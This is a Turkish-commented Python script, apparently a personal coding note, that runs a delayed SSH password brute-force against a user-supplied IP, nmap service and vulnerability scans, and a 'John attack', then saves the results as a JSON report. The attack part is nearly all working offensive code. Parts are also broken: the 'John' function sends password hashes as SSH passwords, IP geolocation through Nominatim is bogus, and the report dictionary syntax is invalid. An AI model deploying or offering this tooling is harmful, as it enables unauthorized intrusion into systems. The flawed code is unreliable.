Kodlama son

2.10.2024 13:16

```
    import logging
    import json
    import os
    import smtplib
    import paramiko
    import nmap
    import random
    import time
    from datetime import datetime
    from passlib.hash import john
    from geopy.geocoders import
    Nominatim

    # Loglama ayarları
    def setup_logger(log_file):
        logging.basicConfig(
            filename=log_file,
            filemode='a',
            format='%(asctime)s -
    %(levelname)s - %(message)s',
            level=logging.INFO
        )

    # Log mesajı kaydetme
    def log_event(event_message,
    level='info'):
        if level == 'info':
            logging.info(event_message)
        elif level == 'warning':

    logging.warning(event_message)
        elif level == 'error':
            logging.error(event_message)
        elif level == 'debug':
            logging.debug(event_message)

    # Brute-force SSH saldırısı (sessiz ve
    zaman gecikmeli)
    def brute_force_ssh(ip, username,
    wordlist, delay=2):
        ssh = paramiko.SSHClient()

    ssh.set_missing_host_key_policy(par
    amiko.AutoAddPolicy())

        for password in wordlist:
            try:
                ssh.connect(ip,
    username=username,
    password=password, timeout=3)
                log_event(f"Başarılı SSH
    bağlantısı: {username}@{ip} - Şifre:
    {password}", level='info')
                ssh.close()
                return password  # Başarılı
    şifre bulundu
            except
    paramiko.AuthenticationException:
                log_event(f"SSH giriş
    başarısız: {password}",
    level='debug')
                time.sleep(delay)  # Her
    deneme arasında gecikme ekleniyor
                continue  # Şifre yanlış,
    denemeye devam et
            except Exception as e:
                log_event(f"SSH brute-force
    hatası: {e}", level='error')
                return None
        log_event("Brute-force saldırısı
    tamamlandı ancak doğru şifre
    bulunamadı.", level='error')
        return None

    # Sessiz port taraması (SVN tarama)
    def nmap_scan(ip):
        scanner = nmap.PortScanner()
        scanner.scan(ip, '1-1024',
    arguments='-sV')
        open_ports = []

        for host in scanner.all_hosts():
            for proto in
    scanner[host].all_protocols():
                ports = scanner[host]
    [proto].keys()
                for port in ports:
                    if scanner[host][proto]
    [port]['state'] == 'open':
                        service = scanner[host]
    [proto][port]['name']
                        version = scanner[host]
    [proto][port].get('version',
    'unknown')

    open_ports.append({'port': port,
    'service': service, 'version': version})

        return open_ports

    # Zafiyet taraması
    def vulnerability_scan(ip):
        scanner = nmap.PortScanner()
        scanner.scan(ip, '1-1024',
    arguments='--script vuln')
        vulnerabilities = []

        for host in scanner.all_hosts():
            for proto in
    scanner[host].all_protocols():
                ports = scanner[host]
    [proto].keys()
                for port in ports:
                    if scanner[host][proto]
    [port]['state'] == 'open':
                        service = scanner[host]
    [proto][port]['name']
                        version = scanner[host]
    [proto][port].get('version',
    'unknown')
                        vuln_info =
    scanner[host][proto]
    [port].get('script', {}).get('vuln', 'No
    vulnerabilities found')
                        vulnerabilities.append({
                            'port': port,
                            'service': service,
                            'version': version,
                            'vulnerabilities':
    vuln_info
                        })

        return vulnerabilities

    # SSH John saldırısı (şifre denemesi)
    def john_attack(ip, username,
    wordlist, delay=2):
        ssh = paramiko.SSHClient()

    ssh.set_missing_host_key_policy(par
    amiko.AutoAddPolicy())

        for password in wordlist:
            hash_password =
    john.hash(password)
            try:
                ssh.connect(ip,
    username=username,
    password=hash_password, timeout=
    3)
                log_event(f"John başarılı
    SSH bağlantısı: {username}@{ip} -
    Şifre: {hash_password}",
    level='info')
                ssh.close()
                return password  # Başarılı
    şifre bulundu
            except
    paramiko.AuthenticationException:
                log_event(f"John SSH giriş
    başarısız: {password}",
    level='debug')
                time.sleep(delay)  # Her
    deneme arasında gecikme ekleniyor
                continue  # Şifre yanlış,
    denemeye devam et
            except Exception as e:
                log_event(f"John brute-force
    hatası: {e}", level='error')
                return None
        log_event("John brute-force
    saldırısı tamamlandı ancak doğru
    şifre bulunamadı.", level='error')
        return None

    # Konum belirleme (Geolocation
    API)
    def find_location(ip):
        try:
            geolocator =
    Nominatim(user_agent="geoapiExe
    rcises")
            location =
    geolocator.geocode(ip)
            if location:
                return f"Lat:
    {location.latitude}, Lon:
    {location.longitude}"
            else:
                return "Konum
    bulunamadı."
        except Exception as e:
            log_event(f"Konum belirleme
    hatası: {e}", level='error')
            return None

    # Rapor oluşturma ve kaydetme
    def
    create_security_report(open_ports,
    vulnerabilities, successful_attacks,
    test_durations, location):
        report = {
            'Report Generated At':
    datetime.now().strftime("%Y-%
    m-%d %H:%M:%S"),
            'Open Ports': open_ports,
            'Found Vulnerabilities':
    vulnerabilities,
            'Successful Attacks':
    successful_attacks,
            'Test Durations':
    test_durations,
            'Location': location
        }
        return report

    # Ana program
    if __name__ == "__main__":
        log_file = 'security_tests.log'
        setup_logger(log_file)

        # SSH brute-force saldırısı
        target_ip = input("Brute-force
    yapılacak hedef IP'yi girin: ")
        username = input("Hedef SSH
    kullanıcısını girin: ")
        wordlist_file = input("Wordlist
    dosyasının yolunu girin (şifre
    listesi): ")

        try:
            with open(wordlist_file, 'r') as
    file:
                wordlist = [line.strip() for
    line in file.readlines()]
        except FileNotFoundError:
            log_event("Wordlist dosyası
    bulunamadı.", level='error')
            exit()

        start_time = datetime.now()

        # Brute-force SSH saldırısı
        successful_password =
    brute_force_ssh(target_ip,
    username, wordlist)

        # Nmap port taraması
        open_ports =
    nmap_scan(target_ip)

        # Zafiyet taraması
        vulnerabilities =
    vulnerability_scan(target_ip)

        # John saldırısı
        successful_john_attack =
    john_attack(target_ip, username,
    wordlist)

        # Konum belirleme
        location = find_location(target_ip)

        end_time = datetime.now()
        duration = (end_time -
    start_time).total_seconds()

        # Güvenlik raporu oluşturma
        report = create_security_report(
            open_ports,
            vulnerabilities,
            ['SSH Brute-force':
    successful_password, 'John Attack':
    successful_john_attack],
            ['Test Duration': duration],
            location
        )

        # Raporu JSON formatında
    kaydetme
        with open('security_report.json',
    'w') as report_file:
            json.dump(report, report_file,
    indent=4)

        log_event("Güvenlik testi
    tamamlandı. Rapor oluşturuldu ve
    kaydedildi.", level='info')
        print("Güvenlik testi
    tamamlandı. Rapor oluşturuldu ve
    'security_report.json' dosyasına
    kaydedildi.")
```